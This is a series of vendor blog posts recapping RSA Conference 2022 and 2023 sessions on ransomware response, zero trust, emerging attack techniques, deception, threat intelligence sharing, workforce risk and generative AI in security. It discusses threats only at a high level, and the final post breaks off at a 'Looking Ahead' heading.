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RSA 2022: Progress in Combating Ransomware: Honest Insights from the Ransomware Task Force
While the U.S. government has made some progress against ransomware, challenges to disrupt these activities remain
According to research by the Symantec Threat Hunter Team at Broadcom Software, organizations are facing unprecedented level of danger from targeted ransomware attacks. To help drive a more coordinated effort to tackle this problem, the Institute for Security and Technology (IST), in collaboration with more than 60 public and private partners, launched the Ransomware Task Force (RTF) in late 2020. In April 2021, the RTF issued a 80+ page report to provide a comprehensive framework, with 48 recommendations, about how to deal with ransomware.
What’s been done since the report came out? Moderated by IST CEO and RTF Executive Director Philip Reiner, the #RSAC panel, Progress in Combating Ransomware: Honest Insights from the Ransomware Task Force, discussed the progress made over the last 12 months on these recommendations. The panelists included Michael Daniel, President and Chief Executive Officer, Cyber Threat Alliance; Megan Stifel, IST Chief Strategy Officer and RTF Co-Chair; and Michael Phillips, Chief Claims Officer, Resilience and RTF Co-Chair.
“We are proud to say that 88% of the recommendations in this report have seen some progress and 25% have seen significant progress, although there is still a great deal of work to be done,” said Reiner.
“When you look at what the U.S. government has done over the past year, it’s impressive at the speed it organized and focused on the ransomware threat. We wanted ransomware to move from being an adjunct law enforcement problem to a national security problem – and that has happened,” said Daniel. Stifel agreed, pointing to funding, legislation and executive orders and other government efforts to protect critical infrastructure. “After Colonial, President Joe Biden met with Russian President Vladimir Putin and said cyberattacks against the 16 sectors of U.S. critical infrastructure should be off-limits and, if they continue to be attacked, there would be responsive action,” she said.
According to research by the Symantec Threat Hunter Team at Broadcom Software, organizations are facing unprecedented level of danger from targeted ransomware attacks.
Yet one key challenge that remains is eliminating safe havens for ransomware criminals. Although the U.S. has seen some cooperation from countries in Central Europe, it has been a slow process to build coalitions within the international community. “As long as these actors have a safe place, it will be hard to disrupt them,” said Daniel. “If you can’t get the actors themselves, can you get to where you can choke some of their financial flows?”
In addition to the problem posed by safe havens, the use of Bitcoin and other cryptocurrencies for ransomware payments has helped to fuel attacks. In fact, ransomware payments by victims spiked 70% in 2021 over the previous year. Unfortunately, Stifel doesn’t expect that to stop anytime soon. “We still don’t have the ability of rapid interdiction and response. The use of cryptocurrency for illicit purposes will endure long past ransomware,” she said.
The panel also called for faster and more standardized reporting for ransomware attacks. “If we can get reporting fast enough, there are disruption opportunities. Right now, we have a lot of silos in the information ecosystem,” said Phillips.
At the end of the discussion, Reiner began taking questions from the audience and the topic of banning ransomware payments came up. “Unless we do it globally, there will be challenges for those countries who ban payment, including sustaining those bans and the political fights that come with it,” said Daniel. Reiner agreed, adding “We need to put ourselves on a glide path to make it illegal to make ransomware payments, but that is down the road.”
Looking ahead, a blueprint for ransomware defense including tools and best practices, requested by the RTF, will be launched later this summer, said Stifel.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Strengthening Security in the Era of Digital Transformation
Why breaking down data silos is the key to threat resilience
As Broadcom Software has seen, the world of digital transformation is helping organizations achieve greater visibility into their processes and gain insights that were unimaginable before. But new levels of complexity also bring with them new concerns over greater threat vulnerabilities.
In a presentation at RSA 2022, “Strengthening Security in the Era of Digital Transformation,” Splunk President and CEO Gary Steele focused on why security teams need a data-centric strategy to meet these evolving challenges, and also achieve a strong security posture.
The threat landscape has broadened. Today, bad actors can not only direct ransomware attacks against companies and government agencies, but they also have the power to derail supply chains and grid infrastructure.
The complexities of those attacks are also greater. With each tool added to the environment, from cloud-only initiatives to hybrid architecture, comes new openings for hackers to exploit. Add in a fully remote workforce the threat grows. According to Steele, 80 percent of organizations say they are currently installing greater security protections because so many of their workers are now working remotely.
Lastly, we’re witnessing a sharp increase in the number of data silos. While data transformation has enabled the volume of data to grow, the tools used to track and capture that ever-mounting data volume are also on the rise. Despite that reality, many organizations are failing to integrate all these data streams and, worse, they’re not adding human capital to manage it. The result: Data security teams feel overworked and overwhelmed, which increases the risk for breaches.
Despite the growing organizational challenges, Steele said organizations can still handle security threats by adopting a data-centric approach:
End-to-end visibility. While removing data silos is ideal for generating insights it also gives organizations more transparency into the threat landscape. This is critical to identifying gaps and creating strategies to confidently handle growing complexities of the data environment.
Accelerated detection and response. Companies need to install a comprehensive and automated monitoring system to secure user data, no matter where it lives — on the cloud, on-premises, or a hybrid mix of both. Security teams will feel less overwhelmed, and workers can redirect more of their efforts to their jobs.
Improved cyber resilience. A data-centric approach raises an organization’s security posture and ultimately “supports business growth,” he said. By integrating data silos together, organizations can harness more data that will help them gain new insights and automate mundane tasks. “That is the magic,” he said. “There are more and more opportunities to drive automation in the days, weeks, and months ahead. That is the critical element: to give people time back … and ultimately make security scalable as we live in this very uncertain world.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Take It From the Top: Getting Started with Zero Trust
Many enterprises have pieces of the Zero Trust puzzle on hand already - it’s time to complete the picture
The embrace of Zero Trust cybersecurity concepts by NIST, combined with President Biden’s 2021 Zero Trust executive order, signal that all organizations must change their thinking about cybersecurity. The first step: grasp the concept of Zero Trust.
But the journey to Zero Trust can be arduous and take years to unfold. Getting there requires strong leadership, ongoing education, executive and employee buy-in, and incremental implementation.
It’s a challenge that Broadcom Software customers are keenly familiar with given how rapidly applications are migrating to live in the cloud and the edge, with perimeters disappearing, and users now working across the globe. The Zero Trust model rests upon one fundamental tenet: don’t trust any actor, system, network, or service operating outside or within the security perimeter.
But although Zero Trust is relatively new, many of the underlying concepts are not – indeed, some of its underpinnings, such as least-privileged access, have been applied for many years. In fact, the origins behind Zero Trust go back nearly two decades. In this sense, what’s old is new again. The big difference is how we go about doing it.
It was a message panelists returned to time and again during an RSA 2022 session, “What is Zero Trust? What isn’t Zero Trust? Let’s Make Sense of This!”
But first, it's important to recognize that Zero Trust is not a product. You can’t press a button. Rather, it’s a strategic initiative where the goal is to get to the lowest manageable level of trust by removing what the adversary needs to be successful.
We already have the tools we need to get to Zero Trust if we use the information in a repeatable, automatic, and intelligent way. Although least-privileged access and defense-in-depth are not new, Zero Trust requires moving to the next step, which is “just-in-time” access based on roles. Basically, you get earned trust when access is required.
Start Small
The panelists recommended a tried-and-true approach to any implementation: start small and grow gradually. In practice, that means moving from any antiquated design to Zero Trust by adding endpoint agents and replacing firewalls. But those are large tasks. You don’t have to go from a rock to nuclear fusion all at once. You get one thing done and then you can see what else to do.
Their conclusion: it’s best to identify the most vital systems across an organization and prioritize Zero Trust protection for those. Before starting out, understand the critical business systems across the organization. Then find where the business makes money and start by taking care of that ‘chewy center.
The enterprise world isn’t starting from scratch. Many organizations have pieces of the Zero Trust puzzle on hand already and should put them to work. Look at what you have today. Integrate current technology to support what you are trying to do – and then start driving outcomes with what you have.”
Even though many constituent technologies like SIEM, ITSM, CMDB and endpoint management systems might already be in place, Zero Trust should integrate with them so they work better. In this constellation, think of Zero Trust acting as a central nervous system.
Faced with the daunting challenge of implementing Zero Trust, cybersecurity leaders should not hesitate to turn to the cloud. In fact, leveraging the experience of a trusted service provider can speed the process. And if you start with a service, you’re also likely to be investing way less than you otherwise would.
Cloud-based Zero Trust services can be an excellent choice for small and mid-sized businesses (SMBs). Indeed, SMBs can get to Zero Trust more easily than larger organizations that because they have smaller environments and less invested in legacy tools. Whatever rationalizations they might have for delay, smaller companies have run out of excuses not to implement Zero Trust.
Faith, Yes; Trust, No
Not to be overlooked is the human side of a Zero Trust implementation. Faced with employees who might bridle at being told they’re not to be trusted, tact is needed. It’s not zero faith; it’s about removing trust so bad guys can’t leverage that against the rest of us.
Panelists noted that we often tend to focus on the technology and execution. But the educational aspect is very important. The best approach is to explain gently to employees that devices can be compromised and that has nothing to do with whether they the employees are trustworthy.
Over the years, we have gathered many lessons from Zero Trust implementations and that valuable experience can be instructive about what to expect in the future. So, once a leader has set the direction and gotten buy-in, an organization is well on its way. The important takeaway is to understand the philosophy and to grasp why Zero Trust should be the strategy. After all, if you can get everyone rowing in that direction, the rest will come in time.
Contact Broadcom Software now to see how we can help you achieve Zero Trust at scale.
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RSA 2022: The Five Most Dangerous New Attack Techniques
Technology is constantly changing - the SANS panel warns about the rise in cloud-based attacks
The migration to the cloud doesn’t always guarantee clear skies.
As more organizations migrate to cloud and hybrid-cloud platforms, Symantec, by Broadcom Software, has long highlighted the potential risks and steps they need to take to secure data and workloads. But inevitably, the transition to multi-cloud infrastructure environments has brought with it the difficult security challenge of managing a highly fragmented set of security and compliance controls – and attackers are taking note.
Indeed, adversaries are increasingly “living off the cloud,” warns Katie Nichols, a SANS Certified Instructor.
Which services are being abused? According to Nichols, nearly all of them.
“Google Drive is used by a lot of different crimeware families, Slack, Discord, etc.,” she said. “I don’t know any cloud service that is immune. The takeaway is that instead of pointing fingers at specific cloud services, realize they (attackers) are doing it.”
Nichols made her comments at an RSA 2022 conference panel where SANS representatives identified the top attack techniques.
The rise of cloud-based attacks was just one of several security risks highlighted at this year’s panel, which was moderated by Ed Skoudis, President, SANS Technology Institute. The other panelists included Johannes Ulrich, Dean of Research, SANS Technology Institute; Heather Mahalik, DFIR Curriculum Lead and Sr. Director of Digital Intelligence, SANS Institute and Cellebrite; and Robert T Lee, Chief Curriculum Director and Faculty Lead, SANS Institute.
As part of good OpSec, organizations are regularly encouraged to back up their data to protect against ransomware and other unexpected attacks. Not surprisingly, backup software itself has become a target by today’s adversaries. Ulrich warned that backup software is essentially like “giving attackers a single key to get all your data. Most organizations have multiple backup technology. For each backup solution, there are unique attacks that can be launched against them.” In addition, backup software can also have vulnerabilities and misconfigurations that attackers can exploit.
How organizations should do backups depends on the organization’s threat model.
“What are you most afraid of?” Ulrich said. “Keep your encryption strong and keys close, whether you are doing it the cloud or local. No one size fits all.”
The migration to the cloud doesn’t always guarantee clear skies.
Nichols also discussed the risks posed by multi-factor authentication (MFA) bypass attacks while Mahalik pointed to the disruptive, long-term impact of Internet worms.
“Adversaries still are using old techniques” to wreak havoc. “WannaCry is still impacting endpoints since 2017. Do not let shiny APTs distract you,” said Mahalik, adding that WannaCry – a ransomware with a worm component -- spread around the world within a day, infecting more than 230,000 computer systems in 150 countries and costing approximately $4 billion in financial losses. “Why would adversaries reinvent the wheel when they can simply use what works?” she said.
Mahalik also discussed the danger posed by stalkerware.
“We are all stalkable. Don’t think you aren’t important enough.” Traditionally, to install stalkerware, you needed access to the device; that is no longer the case. Developed by the Israeli-based NSO Group, Pegasus is spyware that can covertly enter a smartphone and turn it into a surveillance device. It does not require user interaction and can self-destruct before it is discovered. According to Mahalik, Pegasus is the “most prevalent APT malware that impacts IOS and Android today.”
The panel encouraged the audience to continue to focus on security basics to reduce risk and better protect against both known and unknown attacks. Lee also asked attendees to continue to educate themselves about current and new technologies, including cloud, mobile and satellites, to better protect them against current – and future -- attacks. “Technology is constantly changing. How does that impact possible attacks?” said Mahalik, who recommended that organizations have at least one person on the team who knows mobile or hire an expert.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: The Road to Adversary Engagement
Why letting yourself get hacked might be the answer to better cybersecurity
There has been a lot of attention on offensive cyber operations the past week at RSA 2022 – especially since U.S. Cyber Command confirmed that the U.S. has gone on the offensive on behalf of Ukraine.
But adversary engagement isn’t limited to high-profile military operations or international conflict. At last week’s RSA Conference, experts from government and industry came together to discuss the benefits of practicing denial and deception at any organization – benefits long understood here at Broadcom Software.
To kick off their panel, “The Road to Adversary Engagement: Get Your Organization from 0 to 88 MPH,” the experts helped the audience understand the difference between denial – stopping a cyberattack in its tracks – versus deception, which is the strategy of inviting a controlled, isolated cyber intrusion in order to learn from it.
In an ideal situation, a well-executed campaign might even reveal an adversary’s identity.
Dr. Stan Barr, Senior Principal Researcher at The MITRE Corporation, described deception as a mental process – rather than a tech stack – by which an organization’s security team decides what they want to present to their adversaries and what they want them to see and think. It also involves how to drive them, based on what they see and think, into doing activities that are beneficial for the organization. It could be a setup as simple as a single “victim” laptop, or as complex as an entire imaginary office – all intended to lure an attack on dummy data, under the close supervision of security personnel.
At the very least, a deception campaign aims to expose an actor’s tactics, techniques, and procedures (TTPs), as well as the type of data they are attempting to steal – all of which is incredibly valuable to an organization’s security strategy. In an ideal situation, a well-executed campaign might even reveal an adversary’s identity.
Sounds fun – but should we be talking about this?
In stark contrast to the first rule of Fight Club, the experts agree we should be talking about adversary engagement. It might seem counterintuitive – why would we want our adversaries to know we might be luring them into a trap? – but there are two clear benefits to being open about these practices.
First, not only is all the information gleaned from deception invaluable to the organization itself, but it is also useful for the entire community. Organizations are encouraged to share as much of their findings as possible, not only with law enforcement to try to catch these bad actors, but also within trusted information sharing communities to help other entities prevent similar intrusions.
The second benefit is the element of deterrence. If criminals know organizations are carrying out deception campaigns, they might be less inclined to use cyberattacks as a method of intelligence gathering. After all, no one wants to waste their time, let alone get caught in the act. “That’s the utopia of behavior change we hope to see,” said Barr.
Okay – but is this legal?
While there’s something that might feel slightly shady about deploying malware and initiating a cybercrime, FBI Special Agent Tony Rogers informed the RSA audience that it’s all perfectly legal – as long as it’s carried out on the organization’s own network. The Department of Justice will not prosecute on these activities.
I also like to live dangerously. How can my organization get started?
Panelist J.R. Manes, a former FBI agent who today serves as Global Head of Cyber Intelligence at HSBC, provided a few hot tips for organizations looking to pursue adversary engagement.
First, Manes emphasized that deception is not something an organization should jump into. Security teams should prioritize fundamentals like multifactor authentication, patching, and phishing controls. Once an organization has the basics down, then adversary engagement is something it can add to a defense-in-depth model.
Security personnel should also ensure they have safety controls in place so they don’t damage the internet, let alone their own organizations. HSBC’s security team has 24/7 monitoring and controls over their deception activities, even from their cell phones, so things don’t go off the rails.
As a general tip, the panelists re-emphasized the importance of strong, trusting public-private information sharing relationships. Manes and Rogers also advised organizations to get to know their local FBI office, which can provide resources in the event of an attack – but only if they know an organization exists.
However, while the FBI should be part of an organization’s incident response plan, it shouldn’t be the whole plan. Organizations need to assume that criminals are in their network, said Barr, and they’ve been there for a while. They should be asking, “What do you do, and how do you find them?”
And adversary engagement is an important tool in that security toolbox. After all, said Manes, “It’s fun to waste bad guys’ time.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Using Critical Threat Intelligence Strategically
CISA, FBI and NSA discuss changing threat landscape and how private-public sector collaboration is helping in fight against cybercrime
Broadcom Software knows the importance of Threat Intelligence, and during a lively #RSAC panel discussion, “Using Critical Threat Intelligence Strategically,” panelists Natalie Pittore, Chief of Enduring Security Framework, National Security Agency, Erin Shepley, Chief, CISA Joint Cyber Defense Collaborative (JCDC) and Scott Hellman, Supervisory Senior Resident Agent, FBI highlighted how the collaboration between the private and public sector is having a measurable impact in the fight against cybercrime.
“Before, in the early days, it was trust brokering,” said Pittore. “Now, it has evolved to us solving problems together.”
For example, Broadcom Software last year was selected to become a member in the Joint Cyber Defense Collaborative, a joint collaboration between federal agencies and the private sector led by the Cybersecurity and Infrastructure Security Agency (CISA) to bolster the nation’s cyber defenses through planning, preparation, and information sharing.
In the past, the private sector would pass threat information to the federal government but didn’t know if and how that information was used. The JCDC is trying to correct that situation through the establishment of a unified effort among government agencies and private sector partners so that the parties can share and validate threat information, and then act on it.
In the past, the private sector would pass threat information to the federal government but didn’t know if and how that information was used.
One of the most valuable contributions the private sector brings is “in the trenches” knowledge about the threats facing today’s organizations. “Yes, data is important, but when you bring experts and shared experience together, it provides the context around the data. All that insight and deep human intelligence – to me, that’s what is so unique and powerful about our collaboration,” explained Pittore.
Looking back over the past 10 months, Shepley pointed to JCDC’s response to Log4j as a significant milestone in private-public collaboration. “Log4j was one of our first trials and we hit it out of the park.”
In addition to creating a public-facing website so organizations could see if any of the software/hardware they run was susceptible to Log4j, Shepley said “behind the scenes, we were also tracking adversaries who were looking to exploit Log4j, and examining what sectors were targeted.” Other successes included the launch of the agency’s ShieldsUp initiative and the increase in advisories – not just in number, but also making them more consumable and easier to find.
Adapt Fight to Changing Threat Landscape
While ransomware has ballooned over recent years, Hellman said that some of the biggest breaches “have stemmed from password reuse and social engineering to bypass multi-factor authentication (MFA). “With the adoption of MFA, the bad guys have to work to get around it and other security measures,” he said. Phishing also remains a constant threat with more than 324,000 phishing attempts reported in 2021.
Hellman emphasized that the FBI and other federal agencies must continue to adapt to the changing threat landscape. For example, he said there continues to be an increase in crypto-related crimes. “As those new crimes pop up, we constantly must evolve – how to solve for “X” now. Every day, there is a new problem.”
Invest in Incident Response Plans – Today
“I think there is often a disconnect with what people expect from us after an incident happens. Ransomware is a good example. There is sometimes an (unrealistic) expectation that we have a wand that will decrypt your data and get your money back,” said Hellman. “In reality, our mission is investigation.” Instead of waiting to contact the FBI after a breach occurs, Hellman advises organizations to contact and build a relationship with the bureau now – before an incident takes place. He recommended that organizations develop a disaster recovery plan, with tabletop exercises, and share the FBI to provide feedback. “Post-incident, in an emergency meeting, our job is to collect information to identify who did it and see if we can stop or slow them down.”
Pittore encouraged organizations to, if possible, find a way to anonymize and share an incident’s details as soon as possible after an attack is discovered. “It’s not helpful three months later when you decide to announce the incident in a blog – by then, it’s too late.”
What’s Next: The Path Forward
While citing continued progress, Pittore remarked the federal agencies are constantly evaluating how to improve the private-public collaboration. “How do we scale? Where can we have that most effective outcome? Do small- and med-sized companies have a fair shot against today’s attackers? The challenge is always there.”
Shepley agreed that the “information infusion” gathered from private-public collaboration must always be focused on outcome. “How do we do collective defense? It’s new, hard, and complicated.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: What to do when Ransomware Strikes
An RSA panel of experts simulate a well-prepared leadership response in the events leading up to and after a ransomware attack
As Broadcom Software knows, ransomware, once obscure outside of the cybersecurity world, is now a household name as major companies, governments, small businesses, and critical infrastructure have spent time in the crosshairs, sending leadership scrambling for a best practices playbook.
An RSA panel of experts participated in a simulation to instruct CEOs, CISOs, and boards of directors in how to effectively prepare for and execute a multi-faceted response to a ransomware attack. The simulation centered around the plight of Respectable Plastics, a fictional, mid-size U.S. plastics manufacturer, hit with a ransomware attack that was perpetrated through a phishing email to the vice president of operations. Respectable Plastics is up against a double extortion attack that threatens to render systems inoperable and make sensitive information public if the company doesn’t pay up within three days. The stakes couldn’t be higher: Respectable Plastics is exposed to significant financial and legal risks and must close core logistics and manufacturing operations until it gets the ransomware situation under control.
Respectable Plastics may be a made-up character, but the threat it faces is all-too real for a growing number of companies. Last year saw a surge in ransomware—two-thirds of mid-sized organizations worldwide experienced an attack, and the average ransom payout increased five-fold. High-profile incidents like the Kaseya supply chain attack and new double extortion tactics have only raised the stakes, forcing companies to take a serious look at their response capabilities and formalize a plan.
Last year saw a surge in ransomware—two-thirds of mid-sized organizations worldwide experienced an attack, and the average ransom payout increased five-fold.
In a mock series of board of director meetings, current cybersecurity experts on the RSA panel role-played how to deal with everything from government agencies like the FBI and CISA to insurance companies, customers, and the media. They laid out a strategy for negotiating the ransom, enlisting outside resources, covering the legal and shareholder responsibilities, and repairing a company’s reputation. Among the key takeaways:
Err on side of prompt disclosures and transparency. From the get-go, the fictional company decided to notify CISA and the FBI about the breach even though there were no specific regulations to do so. They got out in front to inform customers, using strategic sequencing, and briefed employees in anticipation that the details would leak, and it was better to be transparent. That said, the communications team developed core messaging points that were tailored to the specific stakeholder audiences. “Be as transparent as possible, providing the right amount of information to the right people without getting too far in front of the investigation,” said Preston Golson, principal director for Brunswick Group, which counsels on cyber incidents and who played the communications lead role in the RSA simulation session.
Enlist the right help. In addition to its own cross-enterprise crisis management team comprised of people from security, legal, and communications, Respectable Plastics also hired some big guns to ensure it was properly prepared for each step. It contracted with an incident response team who helped in the risk evaluation and mitigation processes along with another specialty firm with experience negotiating with ransomware gangs, including dark web communications.
To pay or not to pay. That is always the question, and there is no black and white answer. In this case, the fictional Respectable Plastic evaluated the decision based on logistics and legal considerations. On the logistics front, it’s essential to have established a cryptocurrency account to orchestrate payment, something the company turned to a third-party to help orchestrate. There are also liability risks associated with paying attackers who might be sanctioned by the U.S. Treasury. Organizations need to everything in their power to make a good faith effort to comply with these regulations and make the proper disclosures to the government.
Preparedness helps but isn’t a panacea. The fictional Respectable Plastics did mostly everything right—it formalized a playbook, conducted tabletop cybersecurity exercises, enlisted outside experts, and invested in the right technologies—all well before experiencing the attack. Even with meticulous planning, there were resiliency and disaster recovery gaps and many unknowns the executive team was forced to navigate. “You can’t underestimate the value of preparedness, but no good plan survives contact with the enemy so you have to make sure there are processes in place that can adapt to where the facts take you,” said Suzanne Spaulding, the former undersecretary of the Homeland Security and Commissioner, Cyberspace Solarium, at the Center for Strategic International Studies, who played the CEO role.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: Zero Trust Network Access Must Adapt to the Hybrid Workplace
Experts say that securing hybrid work requires a fundamental shift, one that challenges traditional security approaches and exposes legacy architectures
Broadcom Software knows that when the pandemic hit, many IT security leaders were caught flat-footed. Not Josh Dye.
Dye, who is senior vice-president for information security at Jefferies, an investment bank, was in the midst of a transition to support hybrid work with next-generation zero trust network access (ZTNA) security when COVID-19 struck.
“The bankers needed to shift quickly to work from home with the pandemic. But we had previously started our journey to the next ZTNA. We bought hundreds of laptops and preconfigured them so bankers could work from home,” said Dye, speaking at RSA Conference 2022 during the session, “Why Zero Trust Network Access is Broken, and How to Fix It.”. For Dye and Jefferies, the timing worked out. But others are not so lucky. Many organizations are mired in outdated implementations of ZTNA 1.0, which was built for a pre-pandemic world.
ZTNA is built around the Zero Trust data-centric security framework whose point of departure is that organizations should not automatically trust anything inside or outside their perimeters. Further, that they need to verify the identity and trustworthiness of everything trying to connect to corporate resources before granting access-based on identity and trustworthiness.
Over the last couple of years, more companies have looked for assistance updating their ZTNA deployments as they seek to secure the granting of access only to relevant resources while enforcing Zero Trust principles and leaving all other resources cloaked.
An Investment Bank’s Journey
Dye found out about the deficiencies of ZTNA 1.0 the hard way. Pre-pandemic, Jefferies had a legacy cybersecurity environment with a VPN, a cloud-based proxy server, and an on-premises solution. “There were a lot of conflicts,” said Dye. “It was hard to unify and manage policies. The Sec Ops team had to make changes in three different places,” said Dye, adding, “It caused a ton of user complaints, so we re-thought our entire mobile and remote access strategy.”
Dye’s re-evaluation criteria focused on two elements. First, devices needed to be managed with unified policies regardless of device type or location. For example, laptop users who also used VDI clients needed a single consistent experience, which could only be delivered by centralizing policy management. Second, Dye sought more complete protection. For example, his previous cloud proxy agent just looked at certain ports, but he wanted all ports to be inspected as well as network layer seven.
Implementing ZTNA 2.0 technology now enables Jefferies to protect branch offices and mobile devices through the same workflow. “As of today, we’re hybrid. Bankers still have to have the capacity, flexibility, and security of working in a home office. But I can feel good about it. I don’t have to worry as much because I know what’s on the devices and I can do inspection,” said Dye.
From ZTNA 1.0 to ZTNA 2.0
Companies that have ZTNA 1.0 implementations are likely suffering from multiple issues. For example, even though least-privilege access might be implemented, it’s likely that too much access is being granted. And after access has been granted, everything is trusted, which contradicts basic zero-trust principles. In addition, application traffic is seldom inspected on an ongoing basis, security technology such as DLP is too complex, and cloud-native applications, particularly Zoom, Teams and other collaboration apps, are not secured.
These ZTNA 1.0 shortcomings should be addressed by the five underlying principles of ZTNA 2.0:
Applying least-privilege access, including layer seven
Performing continuous trust verification of devices, users, and apps
Performing continuous security inspection, even for allowed connections
Protecting all data across all apps, including SaaS, with a single DLP policy
Securing cloud-native, legacy, and SaaS apps.
Lessons Learned – and Advice Given
Based on his experience, Dye recommended performing due diligence to vet vendors’ technology claims. “Understand the true foundational functions of the technology and whether it’s what you need today and tomorrow,” he advised. Most important, he recommended getting started, but taking things slowly.
“Do something, whatever it is. Try to implement a product somewhere to some level in a phased approach,” he recommended, explaining that a proof-of-concept (POC) will go far to gain executive buy-in. “It’s hard to get executive teams to see that change is needed. Do a POC. Then you can explain it to them, and they will understand,” said Dye.
And, he said, “ Don’t bite off more than you can chew.” In his own implementation, he focused on a subset of laptops for a subset of the organization, implementing iteratively and turning on restrictions gradually. Finally, Dye highlighted the importance of users. “Give some candy to the end user. Tell them they no longer have to worry about having a different experience in different locations – and it’s going to be faster.”
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2023: Employees Are the New Perimeter
How the pandemic shaped workforce risk
Last year, the 2022 Verizon DBIR reported that 82% of breaches are due to “the human element.” In their RSAC 2023 session, “Employees Are the New Perimeter- How the Pandemic Shaped Workforce Risk,” the presenters, Benjamin Edwards, PhD, Partner and Senior Data Scientist, Cyentia Institute and Masha Sedova, Co-founder & President, Elevate Security, pointed out that workforce risk is indeed one of the largest unsolved problems in cybersecurity. Yet risk is not evenly distributed across employees.
According to their research, “high risk users” represent only approximately 10% of employees and are found in every department and function of the organization. Instead of implementing sweeping security policies for all users, the speakers urged organizations to apply adaptive security policies.
The pandemic pivot to work-from-home
During the presentation, Edwards and Sedova also discussed how large events, such as the COVID pandemic, can further impact individual risk levels. At Broadcom, we observed significant risk level changes for all organizations and their users during the pandemic. When the pivot to work-from-home happened in 2020, a lot of enterprises and other non-North American countries, such as India, didn't necessarily have a remote work culture or a one-to-one laptop-to-employee ratio. As a result, there was a lot of employee BYOD usage for the first year or two for many organizations, which introduced new employee risks.
With the pivot to remote work, CISOs immediately needed to embrace this new user perimeter, and reconsider how to connect and secure their remote users. At Broadcom, for example, we saw customers migrate from on-prem to cloud versions of our solutions such as DLP so they would not lose visibility or security. We can link a customer's network DLP on-prem to our cloud version and enforce their DLP rules in our cloud exactly the way they're enforced for a transaction on-prem.
Zero Trust can help provide the necessary guardrails to reduce the risk of human error. Trust and verify — we trust our users to access an organization’s data, but it’s also important that we verify that the way they're using it is correct. CASB and DLP can play a key role here. In most cases, the user is not nefarious. Sometimes it's just someone who thinks they're doing the right thing but makes a mistake — for example, they give an account number to a third party as a result of a phishing attack.
Take steps to reduce risk
As Edwards and Sedova pointed out in their presentation, risk is not evenly distributed throughout an organization. Start to measure your workforce risk to determine a baseline. Then, use that baseline to measure your security program’s success. Develop a plan to identify high risk employees and adapt security policies to better protect these users and adjust policies to better fit medium- to low-risk individuals.
For example, according to the presenters, if you have a high-risk employee, think about adapting security for those users — i.e., ensure they only use a VPN. If someone is a medium risk, extend their MFA timeout and shorten the security training for these individuals. Instead of approaching security with a large sweeping policy, we need to see that risk is distributed and must apply adaptive policies to fit the risk level. Implementing Zero Trust can give you the tools you need to make those adjustments to your control points, including email and web.
Also, be sure to fully leverage the tools in your security arsenal and take advantage of new technologies such as web isolation and Zero Trust Network Access. We see a lot of shelfware. Yes, you bought it — but have you implemented it? A lot of organizations invest in tools but don’t have the right resources to deploy them. Before you make the next technology investment, leverage what you have and, if you don’t have the staff, engage with your technology partners, such as Broadcom, to help you.
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RSA 2023: Hype and Reality: How to Evaluate AI/ML in Cybersecurity
Generative AI - Risks and Benefits
At Symantec, we often get questions from our customers about ChatGPT. What are the risks? What are the benefits? Not surprisingly, AI is a hot topic at the RSA Conference this week. In her session, Hype and Reality: How to Evaluate AI/ML in Cybersecurity, Diana Kelley, the CSO2 (Chief Strategy Officer/Chief Security Officer) and co-founder of Cybrize, explored the hype around Generative AI to better understand whether it is ready for “prime time” and what organizations should consider when evaluating AI-based cybersecurity technologies.
In her introduction, Kelley reminded the audience about the introduction of Eliza — a natural language processing program that could convincingly mimic short human conversations — in the 1960s. When Eliza was introduced, “people thought computers were going to take over the world. It didn’t happen.” She pointed to self-driving cars as another AI-hype example. In 2015, Elon Musk said Tesla vehicles would drive themselves in two years, which has not happened. “The challenge was tougher than we realized. It doesn’t mean we won’t have it, but not as fast as we would like,” she said.
Generative AI: Ready for Prime Time?
Kelley went on to say that Generative AI is a descendant of Eliza and HAL 9000, the fictional artificial intelligent character of the film, “2001: A Space Odyssey.” “It is just sci-fi for now,” she added. Generative AI, like ChatGPT and DALL-E are trained on a large amount of images and data. Generative AI is great for brainstorming — doing research against a trusted corpus of knowledge — but it is not a fully trusted system yet. “Not all the results are accurate. How many of us doubt what the computer tells us? We are going to trust these systems so they have to be outlets we can trust,” Kelley said.
At Symantec, we take a similar position that Generative AI is not perfect today, but, then again, it’s not like vaporware — there is promise here and it is going to happen quickly. We have been using it internally and looking at use cases, including how to create more value from our petabyte-sized security intelligence.
That said, while these models continue to be tuned to improve accuracy, there are three areas where Generative AI creates potential cybersecurity and privacy risks:
Data leakage: Without thinking twice, users can input sensitive info or other confidential company information into Generative AI systems such as ChatGPT and, intentionally or unintentionally, expose PII and put the reputation of their company at risk. Not only could they be uploading sensitive documents ('please summarize this document') or asking queries that leak sensitive corporate information, but the information and queries may be integrated back into the system’s model and provided as answers to other users. Symantec Enterprise Cloud has unveiled a solution that tackles this problem by providing our customers with the guardrails to ensure they gain Visibility and apply Data Security Controls to these conversations.
Copyright issues: Generative AI is also being used to generate content such as code, images, and documents. However, you do not know the source of that content. Anyone using systems like ChatGPT, Midjourney, or Github Copilot to construct content needs to understand the origination of that content may not be copyright free. You could be integrating code into applications you produce or publishing documents and images that are improperly licensed - resulting in copyright infringement.
Abuse by attackers: Generative AI systems can help construct better phishing emails and yes, they can even write some code. But malware code or a phishing email message body is really only 1% of the entire effort required for attackers to breach a network. These systems are information content development tools and not robots — you can ask it 'tell me all the common ways to infect a machine', but you cannot ask it to 'infect these machines.' Further, Generative AI systems are not inventing any novel attacks, but rather recapitulating existing techniques. At best, they can make a mediocre attacker more efficient, but security solutions already have to protect against the most sophisticated techniques, so Generative AI will not provide attackers the upper hand. In fact, if anything, defenders will benefit from Generative AI solutions more than attackers.
Returning back to Kelley’s talk, we agree that “AI is about trust point — do you trust what is coming out of it? There will be a learning curve how these tools – and the results that they generate — will be used.” With Generative AI solutions still producing ‘hallucinations’ and inaccurate results, some of which can be very subtle, early adopters currently will need to ensure subject matter experts are reviewing results before trusting these systems.
Looking Ahead
